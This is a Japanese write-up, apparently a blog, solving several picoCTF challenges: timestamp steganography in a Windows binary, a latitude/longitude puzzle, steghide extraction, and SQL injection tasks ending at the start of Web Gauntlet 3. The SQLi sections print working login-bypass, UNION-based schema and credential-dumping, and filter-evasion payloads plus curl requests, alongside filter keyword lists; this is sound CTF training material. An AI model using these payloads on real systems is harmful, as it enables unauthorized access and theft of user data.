Zip file size: 295964 bytes, number of entries: 20
-rwxa--     3.1 fat   110279 bx defN 19-Apr-06 13:24 main.exe
drwxa--     3.1 fat        0 bx stor 19-Apr-05 19:11 test/
-rw-a--     3.1 fat   127654 bx defN 19-Mar-25 19:20 test/Item01 - Copy.bmp
-rw-a--     3.1 fat   127654 bx defN 19-Mar-25 19:20 test/Item01.bmp
-rw-a--     3.1 fat   127654 bx defN 19-Mar-25 19:20 test/Item02 - Copy.bmp
-rw-a--     3.1 fat   127654 bx defN 19-Mar-25 19:20 test/Item02.bmp
-rw-a--     3.1 fat   127654 bx defN 19-Mar-25 19:20 test/Item03 - Copy.bmp
-rw-a--     3.1 fat   127654 bx defN 19-Mar-25 19:20 test/Item03.bmp
-rw-a--     3.1 fat   127654 bx defN 19-Mar-25 19:21 test/Item04 - Copy.bmp
-rw-a--     3.1 fat   127654 bx defN 19-Mar-25 19:21 test/Item04.bmp
-rw-a--     3.1 fat   127654 bx defN 19-Mar-25 19:21 test/Item05 - Copy.bmp
-rw-a--     3.1 fat   127654 bx defN 19-Mar-25 19:21 test/Item05.bmp
-rw-a--     3.1 fat   127654 bx defN 19-Mar-25 19:24 test/Item06 - Copy.bmp
-rw-a--     3.1 fat   127654 bx defN 19-Mar-25 19:24 test/Item06.bmp
-rw-a--     3.1 fat   127654 bx defN 19-Mar-25 19:24 test/Item07 - Copy.bmp
-rw-a--     3.1 fat   127654 bx defN 19-Mar-25 19:24 test/Item07.bmp
-rw-a--     3.1 fat   127654 bx defN 19-Mar-25 19:25 test/Item08 - Copy.bmp
-rw-a--     3.1 fat   127654 bx defN 19-Mar-25 19:25 test/Item08.bmp
-rw-a--     3.1 fat   127654 bx defN 19-Mar-25 20:15 test/ItemTest - Copy.bmp
-rw-a--     3.1 fat   127654 bx defN 19-Mar-25 20:15 test/ItemTest.bmp
20 files, 2408051 bytes uncompressed, 293002 bytes compressed:  87.8%

main.exeという32ビットのEXEファイルとビットマップ画像ファイル18個を確認できた。

IDAとデバッガ (x32dbg)を駆使してmain.exeを調べたところ、以下のことが分かった。

  • flag.txtからフラグを読み込む。フラグは18バイト。
  • _listdir関数 (アドレス 0x401957)を呼び出す。_listdir関数は整数 (0または1) とディレクトリを引数として受け取る。第一引数に0が指定された場合は_hideInFile関数 (アドレス 0x4016FB)を呼び出し、1が指定された場合は_decodeBytes関数 (アドレス 0x401573)を呼び出す。第二引数にはtestディレクトリが指定される。
  • _hideInFile関数はtestディレクトリに配置されているファイルを列挙して各ファイルのタイムスタンプを取得し、フラグを各ファイルのタイムスタンプに埋め込むものと思われる。
  • _decodeBytes関数はtestディレクトリに配置されているファイルを列挙して、各ファイルのタイムスタンプに埋め込まれているフラグを取りだすものと思われる。
  • main.exeをそのまま実行すると、常に_hideInFile関数が呼び出される。_decodeBytes関数を呼び出すにはデバッグしてレジスタの値を書き換えるなり、パッチするなりする必要がある。
  • そのほかに_decode関数 (アドレス 0x401AFE)という気になる関数を発見した。この関数は_listdir関数の第一引数に1を指定することで_decodeBytes関数を呼び出し、value of DECODEというメッセージとともに復号されたフラグを標準出力に出力する模様。ただし、_decode関数はプログラム中のどこからもcallされていない。

_hideInFile関数と_decodeBytes関数をもう少し調べたところ、この関数はtestディレクトリに配置されているItem01 - Copy.bmp ~ Item08 - Copy.bmpおよびItemTest - Copy.bmpのファイルのタイムスタンプにフラグを埋め込む、または取り出すことが分かった。Item01.bmp ~ Item08.bmpおよびItemTest.bmpは無視される。

_decodeBytes関数を解析していけば、フラグを取れそうである。

以下は_decodeBytes関数の処理の一部を抜粋したものである。

GetFileTimeでファイルの作成日時、アクセス日時、変更日時を取得して、それぞれの日時をこねくり回しているのが分かる。

三種類の日時のうち、変更日時に関してはファイルを編集しない限り変化することはないので、フラグを埋め込むとすればここなのではないだろうか。

以下の手順で、変更日時をダンプしてみた。

  1. アドレス 0x401CB4 (mov [esp], eax) にブレークポイントをセットして、eaxの値を1に書き換える。こうすることで_listdir関数の第一引数に1が渡されて、_decodeBytes関数が実行される。
  2. アドレス 0x401634 (mov eax, [ebp+LastWriteTime.dwLowDateTime])にブレークポイントをセットして、[ebp+LastWriteTime.dwLowDateTime]の値をダンプする。

※もし、ダミーのflag.txtを用意して1度でもmain.exeを実行すると、_hideInFile関数が呼び出されて、元のフラグがダミーのものに上書きされてしまう。その場合はflag.txt以外のファイルをすべて削除して、あらためてb1g_mac.zipを解凍し、上記の手順に従いmain.exeをデバッグする。

以下がダンプされたItem01 - Copy.bmpの変更日時の値である。

01 d4 e3 61 49 33 70 69という値がロードされているが、これはファイルの変更日時を16進数で表したものである。 これを10進数に変換すると131980296080027753となる。

>>> 0x01d4e36149337069
131980296080027753

この18桁の数字はWindowsのFILETIMEと呼ばれるタイムスタンプ形式で、こちらのサイトで日時形式に変換できる。

131980296080027753を日時形式に変換すると、Monday, March 25, 2019 11:20:08 PM (UTC) となる。
これはItem01 - Copy.bmpの変更日時と一致している。

メモリにロードされた01 d4 e3 61 49 33 70 69をよく見てみた。下位2バイト70 69を16進数デコードするとpiになるではないか。

どうやら、Item01 - Copy.bmp ~ Item08 - Copy.bmpおよびItemTest - Copy.bmpの変更日時を16進数形式で取得し、下位2バイトを16進数デコードすれば、フラグを取れそうである。

色々試したところ、以下の手順でフラグを取れた。

  1. testディレクトリにItem01 - Copy.bmpを配置する。ほかのファイルは削除する。 こうしないとアドレス 0x4016d7 (mov edx, [eax])でデバッガ止まってしまう。(理由は不明)
  2. main.exeをデバッガにロードし、アドレス 0x401CB4 (mov [esp], eax) にブレークポイントをセットして、eaxの値を1に書き換える。こうすることで_listdir関数の第一引数に1が渡されて、_decodeBytes関数が実行される。
  3. アドレス 0x401634 (mov eax, [ebp+LastWriteTime.dwLowDateTime])にブレークポイントをセットして、[ebp+LastWriteTime.dwLowDateTime]の値をダンプし、下位2バイトを控える。
  4. Item01 - Copy.bmpを削除して、Item02 - Copy.bmpを配置する。 2~3のステップを繰り返す。 Item02 - Copy.bmpの確認が終わったら、Item02 - Copy.bmpを削除して、Item03 - Copy.bmpを配置し、2~3のステップを繰り返す。ItemTest - Copy.bmpの確認が終わるまで、これらのステップを繰り返す。

以下が、ダンプされたItem01 - Copy.bmp ~ Item08 - Copy.bmpおよびItemTest - Copy.bmpの変更日時である。

ファイル名変更日時 (日時形式)変更日時 (FILETIME形式)変更日時 (16進数形式)下位2バイトデコード結果
Item01 - Copy.bmpMonday, March 25, 2019 11:20:08 PM (UTC)13198029608002775301 d4 e3 61 49 33 70 6970 69pi
Item02 - Copy.bmpMonday, March 25, 2019 11:20:34 PM (UTC)13198029634000574301 d4 e3 61 58 b2 63 6f63 6fco
Item03 - Copy.bmpMonday, March 25, 2019 11:20:51 PM (UTC)13198029651000224301 d4 e3 61 62 d4 54 4354 43CT
Item04 - Copy.bmpMonday, March 25, 2019 11:21:13 PM (UTC)13198029673000306701 d4 e3 61 6f f1 46 7b46 7bF{
Item05 - Copy.bmpMonday, March 25, 2019 11:21:28 PM (UTC)13198029688997816401 d4 e3 61 79 7a 4d 344d 34M4
Item06 - Copy.bmpMonday, March 25, 2019 11:24:17 PM (UTC)13198029857996066001 d4 e3 61 de 35 63 5463 54cT
Item07 - Copy.bmpMonday, March 25, 2019 11:24:47 PM (UTC)13198029887002455701 d4 e3 61 ef 7f 69 6d69 6dim
Item08 - Copy.bmpMonday, March 25, 2019 11:25:55 PM (UTC)13198029955001221301 d4 e3 62 18 07 33 3533 3535
ItemTest - Copy.bmpTuesday, March 26, 2019 12:15:31 AM (UTC)13198032931999782101 d4 e3 69 06 75 21 7d21 7d!}

Mr-Worldwide (200points)

message.txtに記載されている以下のフラグを解読する問題。

picoCTF{(35.028309, 135.753082)(46.469391, 30.740883)(39.758949, -84.191605)(41.015137, 28.979530)(24.466667, 54.366669)(3.140853, 101.693207)_(9.005401, 38.763611)(-3.989038, -79.203560)(52.377956, 4.897070)(41.085651, -73.858467)(57.790001, -152.407227)(31.205753, 29.924526)}

数字がぱっと見、緯度と経度ぽかったので、Google Mapに上記の数字をぶち込んで実際の住所を取得してみた。

緯度・経度住所
35.028309, 135.753082Nakanocho, Kamigyo Ward, Kyoto, 602-0958, Japan
46.469391, 30.740883Odesa, Odesa Oblast, Ukraine, 65000
39.758949, -84.191605Dayton, OH 45402, United States
41.015137, 28.979530Hoca Paşa, 34110 Fatih/İstanbul, Türkiye
24.466667, 54.366669Hazza ' Bin Zayed The First St - Al Manhal - Abu Dhabi - United Arab Emirates
3.140853, 101.693207Room 11, Level 2, Bangunan Sulaiman, Jalan Sultan Hishamuddin, 50000 Kuala Lumpur, Malaysia
9.005401, 38.763611Kirkos, Addis Ababa, Ethiopia
-3.989038, -79.203560Av. Nueva Loja, Loja, Ecuador
52.377956, 4.897070Martelaarsgracht 5, 1012 TM Amsterdam, Netherlands
41.085651, -73.858467Sleepy Hollow, NY 10591, United States
57.790001, -152.407227Tewa dr, Kodiak, AK 99615, United States
31.205753, 29.924526Faculty Of Engineering, Al Azaritah WA Ash Shatebi, Bab Sharqi, Alexandria Governorate 5423021, Egypt

ここから先が結構苦労した。

住所の先頭の頭文字を繋げてみたり

picoCTF{NODHHR_KAMSTF}

住所の国コードを取得して繋げてみたり

picoCTF{jpuaustraemy_etnlususeg}
picoCTF{JPUAUSTRAEMY_ETNLUSUSEG}

住所のエリアコード(市外局番)を取得して繋げてみたり

picoCTF{075048937021297103_1170209149073}

緯度・経度をGeohashに変換して繋げてみたり

picoCTF{xn0x30sqsn4du8mb7e2zf6rddph4hjvs9mm0sxk976w4rzxythqejnh8ejq9w283f5f8z3rj_scee4p6u387m6pr9m9vdpm3ju173zrjgwn8jdr73xr3vkbrqbd78gbk7nhyzstt38by6evzz}
picoCTF{XN0X30SQSN4DU8MB7E2ZF6RDDPH4HJVS9MM0SXK976W4RZXYTHQEJNH8EJQ9W283F5F8Z3RJ_SCEE4P6U387M6PR9M9VDPM3JU173ZRJGWN8JDR73XR3VKBRQBD78GBK7NHYZSTT38BY6EVZZ}
picoCTF{xudstw_s6udbs}
picoCTF{XUDSTW_S6UDBS}

しかし、いずれも不正解だった。

根気よく解読を続けたところ、住所に記載されている各都市の頭文字を繋げると、フラグになることが分かった。

Nakanocho, Kamigyo Ward, Kyoto, 602-0958, Japan
Odesa, Odesa Oblast, Ukraine, 65000
Dayton, OH 45402, United States
Hoca Paşa, 34110 Fatih/İstanbul, Türkiye
Hazza ' Bin Zayed The First St - Al Manhal - Abu Dhabi - United Arab Emirates
Room 11, Level 2, Bangunan Sulaiman, Jalan Sultan Hishamuddin, 50000 Kuala Lumpur, Malaysia
Kirkos, Addis Ababa, Ethiopia
Av. Nueva Loja, Loja, Ecuador
Martelaarsgracht 5, 1012 TM Amsterdam, Netherlands
Sleepy Hollow, NY 10591, United States
Tewa dr, Kodiak, AK 99615, United States
Faculty Of Engineering, Al Azaritah WA Ash Shatebi, Bab Sharqi, Alexandria Governorate 5423021, Egypt

各都市の頭文字を繋げてアンダースコアを挿入すると、KODIAK_ALASKAになる。これがフラグだった。

HideToSee (100points)

JPEG画像ファイルatbash.jpgを解析してフラグを取得する問題。

steghideを使ってencrypted.txtを抽出することが出来た。(パスフレーズは必要なし)

sudo apt install steghide
$ steghide extract --stegofile atbash.jpg 
Enter passphrase: 
wrote extracted data to "encrypted.txt".


以下はencrypted.txtの中身。atbash.jpgというファイル名で示唆されているが、フラグはAtbash暗号化されていた。CyberChefのAtbash Cipherでフラグを復号できた。

$ cat encrypted.txt 
krxlXGU{zgyzhs_xizxp_zx751vx6}

SQLiLite (300points)

Webサイトを解析してフラグを取得する問題。

サーバーのインスタンスを起動すると、Webサイトへのリンクが現れた。

Webサイトにアクセスすると、ログインページが現れた。

問題のタイトルから察するにSQLインジェクションでログイン認証を回避すれば良さそう。

ユーザー名にadmin、パスワードに' or '1' = '1を指定したところ、ログインに成功し、以下のメッセージが表示された。

username: admin
password: password: ' or '1' = '1
SQL query: SELECT * FROM users WHERE name='admin' AND password='password: ' or '1' = '1'
Logged in! But can you see the flag, it is in plainsight.

ページのソースコードを表示したところ、フラグが現れた。

<pre>username: admin
password: password: &#039; or &#039;1&#039; = &#039;1
SQL query: SELECT * FROM users WHERE name=&#039;admin&#039; AND password=&#039;password: &#039; or &#039;1&#039; = &#039;1&#039;
</pre><h1>Logged in! But can you see the flag, it is in plainsight.</h1><p hidden>Your flag is: picoCTF{L00k5_l1k3_y0u_solv3d_it_<REDACTED>}</p>

More SQLi (200points)

Webサイトを解析してフラグを取得する問題。

サーバーのインスタンスを起動すると、Webサイトへのリンクが現れた。

Webサイトにアクセスすると、ログインページが現れた。

問題のタイトルから察するにSQLインジェクションでログイン認証を回避すれば良さそう。

ユーザー名にadmin、パスワードに' or '1' = '1を指定したところ、以下のメッセージが表示された。

username: admin
password: ' or '1' = '1
SQL query: SELECT id FROM users WHERE password = '' or '1' = '1' AND username = 'admin'

どうやら、まず最初にパスワードのチェックが行われ、次にユーザー名のチェックが行われる模様。

ということは、パスワードに' or 1 = 1 --と指定すれば、認証を回避できそう。

以下はパスワードに' or 1 = 1 --と指定した場合に生成されるSQL文である。

SELECT id FROM users WHERE password = '' or 1 = 1 -- AND username = 'admin'

or 1 = 1で結果は常に真となり、--AND username以降はコメント扱いになり、無視される。

予想通り、ユーザー名にadmin、パスワードに' or 1 = 1 --を指定したところ、ログインに成功した。

以下がログイン後に表示されたページである。

オフィスの検索ページのようである。

このページは基本的に都市名 (City)からしか検索できない。 住所 (Address)や電話番号 (Phone)を検索フォームに入力しても、結果が表示されない。

試しに電話番号 +246 8-616 99 40で検索してみたが、検索結果は空だった。

しかし、こちらの検索ページもログインページと同様にSQLインジェクションに対して脆弱なため、以下のように細工したリクエストを送ると、住所や電話番号からも検索出来た。

' or address = 'Karl Johans gate 23B, 4. etasje' --
' or phone = '+246 8-616 99 40' --

さて、オフィスの一覧を眺めたところ、KampalaのAddress欄がMaybe all the tablesというメッセージになっていることに気が付いた。

SQLインジェクションを行い、データベースのテーブル一覧を取得できればフラグを取れると思われる。

しかし、肝心のSQLインジェクションのクエリがなかなか思いつかなかったので、ヒントを見てみた。

以下、ヒント。

SQLiLite

どうやらデーターベースにはSQLiteを使用しているようである。これで、ある程度SQLインジェクションに使用する書式を絞り込むことができる。

ここで、オフィスの検索ページで生成されるSQL文を推測してみた。
検索フォームにキーワードを入力すると、おそらく以下のようなSQL文が生成されると思われる。

SELECT city,address,phone FROM table_name

検索の結果、返されるカラムは全部で3つで、すべて文字列型である。このことからUNION SELECT文が攻撃に利用できそうである。

UNION命令を利用すると2つ以上の異なるデータベースに対してSELECT命令を送り、結果をまとめて取得することができる。

以下に例を示す。

SELECT hoge,fuga FROM table1 UNION SELECT foo,bar FROM table2

上記のSQL文はtable1テーブルからhogefugaというカラムを、table2テーブルからfoobarというカラムをまとめて抽出する。

UNION SELECT文を攻撃に利用する際は以下の点に注意する必要がある。

  • それぞれのSELECT命令が同じ数のカラムを返すこと。上記の例だと1つ目のSELECT命令が2つのカラムを指定しているので、2つ目のSELECT命令でもカラムを2つ指定しなければいけない。カラム名が不明な場合はNULLを指定することで、数を合わせることが出来る。
  • それぞれのカラムのデータの型が一致していること。上記の例だと、hogefoofugabarの型が一致していなければならない。

検索フォームに以下のSQL文を入力して、UNION SELECTが攻撃に利用できるか確認してみた。

' UNION SELECT 'hoge','foo','bar' --

UNION SELECT文が成功して、hogefoobarという文字列が返ってきた。

あとはUNION SELECT文を利用して、データベースのテーブル一覧を取得するだけである。

調べたところ、SQLiteではsqlite_schemaスキーマにテーブル情報が保持されているようである。

検索フォームに以下のSQL文を入力してみた。

' UNION SELECT name,tbl_name,sql FROM sqlite_schema --

しかし、何も結果が返ってこなかった。

先述したリンクをよく見てみると、sqlite_schemaスキーマの代わりに以下のスキーマ名も利用できるらしい。

  • sqlite_master
  • sqlite_temp_schema
  • sqlite_temp_master

sqlite_schemaの代わりにsqlite_masterを指定してみた。

' UNION SELECT name,tbl_name,sql FROM sqlite_master --

すると、テーブル情報を取得できた。

どうやらmore_tableテーブルにflagというデータが保持されているらしい。

ほかにもオフィスの情報を保持しているofficesテーブルや、ユーザー情報を保持していると思われるusersテーブルの存在も確認できた。

検索フォームに以下のSQL文を入力したところ、more_tableテーブルからフラグを取得できた。

' UNION SELECT flag,NULL,NULL FROM more_table --

これまでのSQLインジェクション攻撃によって、アプリケーション内部では以下のようなSQL文が組立てられていたものと思われる。

SELECT city,address,phone FROM offices WHERE city = '' UNION SELECT name,tbl_name,sql FROM sqlite_master --
SELECT city,address,phone FROM offices WHERE city = '' UNION SELECT flag,NULL,NULL FROM more_table --

おまけ

問題は解けたが、折角なのでSQLインジェクションの勉強がてら、少し遊んでみた。

SQLiteのバージョンを取得する

' UNION SELECT 'hoge','fuga',sqlite_version() --

オフィスの一覧をAddressでソートする

' or 1 = 1 ORDER BY address --

usersテーブルからID、ユーザー名、パスワードを抽出

' UNION SELECT id,name,password FROM users --

Web Gauntlet (200points)

Webサイトのログインページ http://jupiter.challenges.picoctf.org:29164/adminとしてログインせよとのこと。

http://jupiter.challenges.picoctf.org:29164/filter.phpにアクセスすると、SQLインジェクション対策としてフィルターされている文字が確認できる。

Round1: or

orがフィルターされている模様。

フラグを取得するには上記のログインページへのログインを5回 成功させなければいけないらしい。

1回目のログイン

ユーザー名にadmin' -- (パスワードは適当)と入力したところ、ログインできた。

2回目のログイン

http://jupiter.challenges.picoctf.org:29164/filter.phpを確認したところ、新たにand like = --がフィルターに追加されていた。

Round2: or and like = --

ユーザー名にadmin' /* (パスワードは適当)と入力したところ、ログインできた。

3回目のログイン

http://jupiter.challenges.picoctf.org:29164/filter.phpを確認したところ、新たに > <がフィルターに追加されていた。

Round3: or and = like > < --

3回目でハマってしまったので、ヒントを見てみた。

以下、ヒント。

You are not allowed to login with valid credentials.

Write down the injections you use in case you lose your progress.

For some filters it may be hard to see the characters, always (always) look at the raw hex in the response.

sqlite

If your cookie keeps getting reset, try using a private browser window

どうやら、データベースにはSQLiteが使用されている模様。また、フィルターされている一部の文字は視認しにくいため、常にサーバーからのレスポンスをHex形式で確認せよとのこと。

試しにadmin' /*から空白を削除して、ユーザー名にadmin'/*(パスワードは適当)と入力したところ、ログインできた。どうやら、空白もフィルターに追加されていたらしい。

4回目のログイン

http://jupiter.challenges.picoctf.org:29164/filter.phpを確認したところ、新たにadminがフィルターに追加されていた。

Round4: or and = like > < -- admin

フィルターを回避して、上手いことadminというユーザー名を送り込まないといけない。

ユーザー名にadm'||'in'/*(パスワードは適当)と入力したところ、ログインできた。(SQLiteにおいて、||は文字列の連結を行う演算子である。)

5回目のログイン

http://jupiter.challenges.picoctf.org:29164/filter.phpを確認したところ、新たにunion がフィルターに追加されていた。

Round5: or and = like > < -- union admin

先ほどと同様に、ユーザー名にadm'||'in'/*(パスワードは適当)と入力したところ、ログインできた。

http://jupiter.challenges.picoctf.org:29164/filter.phpを確認したところ、PHPのソースコードが現れた。コメントにフラグが記載されていた。

<?php
session_start();

if (!isset($_SESSION["round"])) {
    $_SESSION["round"] = 1;
}
$round = $_SESSION["round"];
$filter = array("");
$view = ($_SERVER["PHP_SELF"] == "/filter.php");

if ($round === 1) {
    $filter = array("or");
    if ($view) {
        echo "Round1: ".implode(" ", $filter)."<br/>";
    }
} else if ($round === 2) {
    $filter = array("or", "and", "like", "=", "--");
    if ($view) {
        echo "Round2: ".implode(" ", $filter)."<br/>";
    }
} else if ($round === 3) {
    $filter = array(" ", "or", "and", "=", "like", ">", "<", "--");
    // $filter = array("or", "and", "=", "like", "union", "select", "insert", "delete", "if", "else", "true", "false", "admin");
    if ($view) {
        echo "Round3: ".implode(" ", $filter)."<br/>";
    }
} else if ($round === 4) {
    $filter = array(" ", "or", "and", "=", "like", ">", "<", "--", "admin");
    // $filter = array(" ", "/**/", "--", "or", "and", "=", "like", "union", "select", "insert", "delete", "if", "else", "true", "false", "admin");
    if ($view) {
        echo "Round4: ".implode(" ", $filter)."<br/>";
    }
} else if ($round === 5) {
    $filter = array(" ", "or", "and", "=", "like", ">", "<", "--", "union", "admin");
    // $filter = array("0", "unhex", "char", "/*", "*/", "--", "or", "and", "=", "like", "union", "select", "insert", "delete", "if", "else", "true", "false", "admin");
    if ($view) {
        echo "Round5: ".implode(" ", $filter)."<br/>";
    }
} else if ($round >= 6) {
    if ($view) {
        highlight_file("filter.php");
    }
} else {
    $_SESSION["round"] = 1;
}

// picoCTF{y0u_m4d3_1t_a3ed4355668e74af0ecbb7496c8<REDACTED>}
?>

Web Gauntlet 2 (170points)

Webサイトのログインページhttp://mercury.picoctf.net:65261/index.phpadminとしてログインせよとのこと。

以下はログインページのソースコードである。

<!DOCTYPE html>
<html>
<head>
<link href="https://stackpath.bootstrapcdn.com/bootstrap/4.3.1/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-ggOyR0iXCbMQv3Xipma34MD+dH/1fQ784/j6cY/iJTQUOhcWr7x9JvoRxT2MZw1T" crossorigin="anonymous">
<link href="style.css" rel="stylesheet">
<script src="https://stackpath.bootstrapcdn.com/bootstrap/4.3.1/js/bootstrap.min.js" integrity="sha384-JjSmVgyd0p3pXB1rRibZUAYoIIy6OrQ6VrjIEaFf/nJGzIxFDsf4x0xIM+B07jRM" crossorigin="anonymous"></script>
</head>
	<body>
		<div class="container">
			<div class="row">
				<div class="col-sm-9 col-md-7 col-lg-5 mx-auto">
					<div class="card card-signin my-5">
						<div class="card-body">
							<h5 class="card-title text-center">Filtered SQLite Injection Challenge #2</h5>
														<form class="form-signin" action="index.php" method="post">
								<div class="form-label-group">
									<input type="text" id="user" name="user" class="form-control" placeholder="Username" required autofocus>
									<label for="user">Username</label>
								</div>

								<div class="form-label-group">
									<input type="password" id="pass" name="pass" class="form-control" placeholder="Password" required>
									<label for="pass">Password</label>
								</div>

								<button class="btn btn-lg btn-primary btn-block text-uppercase" type="submit">Sign in</button>
							</form>
						</div>
					</div>
				</div>
			</div>
		</div>
	</body>
</html>

http://mercury.picoctf.net:65261/filter.phpにアクセスすると、SQLインジェクション対策としてフィルターされている文字が確認できる。

Filters: or and true false union like = > < ; -- /* */ admin

Web Gauntletと比べると、とうとう/**/までフィルターされてしまった。

これらのフィルターを回避して、adminというユーザー名を上手いこと送り込まないといけない。

文字の連結を行う||がフィルターされていないので、こいつを使えば良さそう。(picoCTFの過去問の傾向から使用しているデータベースはSQLiteに決め打ち)

以下は試してみたSQLインジェクションのペイロードの一例。

adm'||'in'||'/'||'*
adm'||'in'||'/'||'*'
aaaaaadm'||'in'||'/'||'*
a'||'d'||'m'||'i'||'n'||'/'||'*
adm'||'in'X'2f2a'
adm'||'in'X'2f2a

しかし、どれも通らなかった。

ヒントを見てみた。以下、ヒント。

I tried to make it a little bit less contrived since the mini competition.

Each filter is separated by a space. Spaces are not filtered.

There is only 1 round this time, when you beat it the flag will be in filter.php.

There is a length component now.

sqlite

まとめると、

  • 空白はフィルターされていない。
  • 一度ログインに成功すれば、filter.phpにフラグが現れる。
  • 送り込めるペイロードのサイズを制限している。(パスワードとユーザー名を含めて35バイト未満まで送れる。)
  • データベースにはSQLiteを使用している。

色々、ググっているとコメント (--/**/)がフィルターされている場合はヌルバイトで回避できるらしい。

試しにユーザー名にadm'||'in'%00 (パスワードは適当)と入力してみたが、ログインできなかった。

ブラウザを使用しているからダメなのでは?と思い、以下のcurlコマンドでユーザー名 adm'||'in'%00とパスワード 1http://mercury.picoctf.net:65261/index.phpに送ってみた。

curl -i http://mercury.picoctf.net:65261/index.php -d "user=adm'||'in'%00" -d "pass=1"

以下はサーバーからの応答。

$ curl -i http://mercury.picoctf.net:65261/index.php -d "user=adm'||'in'%00" -d "pass=1"
HTTP/1.1 200 OK
Set-Cookie: PHPSESSID=nb0vvp5700sm6durrde9og4trq; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-type: text/html; charset=UTF-8

Warning: Binary output can mess up your terminal. Use "--output -" to tell
Warning: curl to output it to your terminal anyway, or consider "--output
Warning: <FILE>" to save to a file.

Set-Cookieヘッダーで送られてきた値をクッキーにセットしてhttp://mercury.picoctf.net:65261/filter.phpにアクセスしたところ、フラグを取れた。

curl -i http://mercury.picoctf.net:65261/filter.php -H "Cookie: PHPSESSID=nb0vvp5700sm6durrde9og4trq"
$ curl -i http://mercury.picoctf.net:65261/filter.php -H "Cookie: PHPSESSID=nb0vvp5700sm6durrde9og4trq"
HTTP/1.1 200 OK
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-type: text/html; charset=UTF-8

<code><span style="color: #000000">
<span style="color: #0000BB">&lt;?php<br />session_start</span><span style="color: #007700">();<br /><br />if&nbsp;(!isset(</span><span style="color: #0000BB">$_SESSION</span><span style="color: #007700">[</span><span style="color: #DD0000">"winner2"</span><span style="color: #007700">]))&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">$_SESSION</span><span style="color: #007700">[</span><span style="color: #DD0000">"winner2"</span><span style="color: #007700">]&nbsp;=&nbsp;</span><span style="color: #0000BB">0</span><span style="color: #007700">;<br />}<br /></span><span style="color: #0000BB">$win&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">$_SESSION</span><span style="color: #007700">[</span><span style="color: #DD0000">"winner2"</span><span style="color: #007700">];<br /></span><span style="color: #0000BB">$view&nbsp;</span><span style="color: #007700">=&nbsp;(</span><span style="color: #0000BB">$_SERVER</span><span style="color: #007700">[</span><span style="color: #DD0000">"PHP_SELF"</span><span style="color: #007700">]&nbsp;==&nbsp;</span><span style="color: #DD0000">"/filter.php"</span><span style="color: #007700">);<br /><br />if&nbsp;(</span><span style="color: #0000BB">$win&nbsp;</span><span style="color: #007700">===&nbsp;</span><span style="color: #0000BB">0</span><span style="color: #007700">)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">$filter&nbsp;</span><span style="color: #007700">=&nbsp;array(</span><span style="color: #DD0000">"or"</span><span style="color: #007700">,&nbsp;</span><span style="color: #DD0000">"and"</span><span style="color: #007700">,&nbsp;</span><span style="color: #DD0000">"true"</span><span style="color: #007700">,&nbsp;</span><span style="color: #DD0000">"false"</span><span style="color: #007700">,&nbsp;</span><span style="color: #DD0000">"union"</span><span style="color: #007700">,&nbsp;</span><span style="color: #DD0000">"like"</span><span style="color: #007700">,&nbsp;</span><span style="color: #DD0000">"="</span><span style="color: #007700">,&nbsp;</span><span style="color: #DD0000">"&gt;"</span><span style="color: #007700">,&nbsp;</span><span style="color: #DD0000">"&lt;"</span><span style="color: #007700">,&nbsp;</span><span style="color: #DD0000">";"</span><span style="color: #007700">,&nbsp;</span><span style="color: #DD0000">"--"</span><span style="color: #007700">,&nbsp;</span><span style="color: #DD0000">"/*"</span><span style="color: #007700">,&nbsp;</span><span style="color: #DD0000">"*/"</span><span style="color: #007700">,&nbsp;</span><span style="color: #DD0000">"admin"</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(</span><span style="color: #0000BB">$view</span><span style="color: #007700">)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;echo&nbsp;</span><span style="color: #DD0000">"Filters:&nbsp;"</span><span style="color: #007700">.</span><span style="color: #0000BB">implode</span><span style="color: #007700">(</span><span style="color: #DD0000">"&nbsp;"</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">$filter</span><span style="color: #007700">).</span><span style="color: #DD0000">"&lt;br/&gt;"</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;}<br />}&nbsp;else&nbsp;if&nbsp;(</span><span style="color: #0000BB">$win&nbsp;</span><span style="color: #007700">===&nbsp;</span><span style="color: #0000BB">1</span><span style="color: #007700">)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(</span><span style="color: #0000BB">$view</span><span style="color: #007700">)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">highlight_file</span><span style="color: #007700">(</span><span style="color: #DD0000">"filter.php"</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">$_SESSION</span><span style="color: #007700">[</span><span style="color: #DD0000">"winner2"</span><span style="color: #007700">]&nbsp;=&nbsp;</span><span style="color: #0000BB">0</span><span style="color: #007700">;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #FF8000">//&nbsp;&lt;-&nbsp;Don't&nbsp;refresh!<br /></span><span style="color: #007700">}&nbsp;else&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">$_SESSION</span><span style="color: #007700">[</span><span style="color: #DD0000">"winner2"</span><span style="color: #007700">]&nbsp;=&nbsp;</span><span style="color: #0000BB">0</span><span style="color: #007700">;<br />}<br /><br /></span><span style="color: #FF8000">//&nbsp;picoCTF{0n3_m0r3_t1m3_e2db86ae880862ad471aa4c93343<REDACTED>}<br /></span><span style="color: #0000BB">?&gt;<br /></span>
</span>
</code>

上述したSQLインジェクションによって、以下のSQL文が生成される。

SELECT username, password FROM users WHERE username='adm'||'in'%00' AND password='1'

ヌルバイト (%00)が文字列の終端と見なされるため、' AND password='1'は無視される。

Web Gauntlet 3 (300points)

Webサイトのログインページhttp://mercury.picoctf.net:8650/index.phpadminとしてログインせよとのこと。

以下はログインページのソースコードである。

<!DOCTYPE html>
<html>
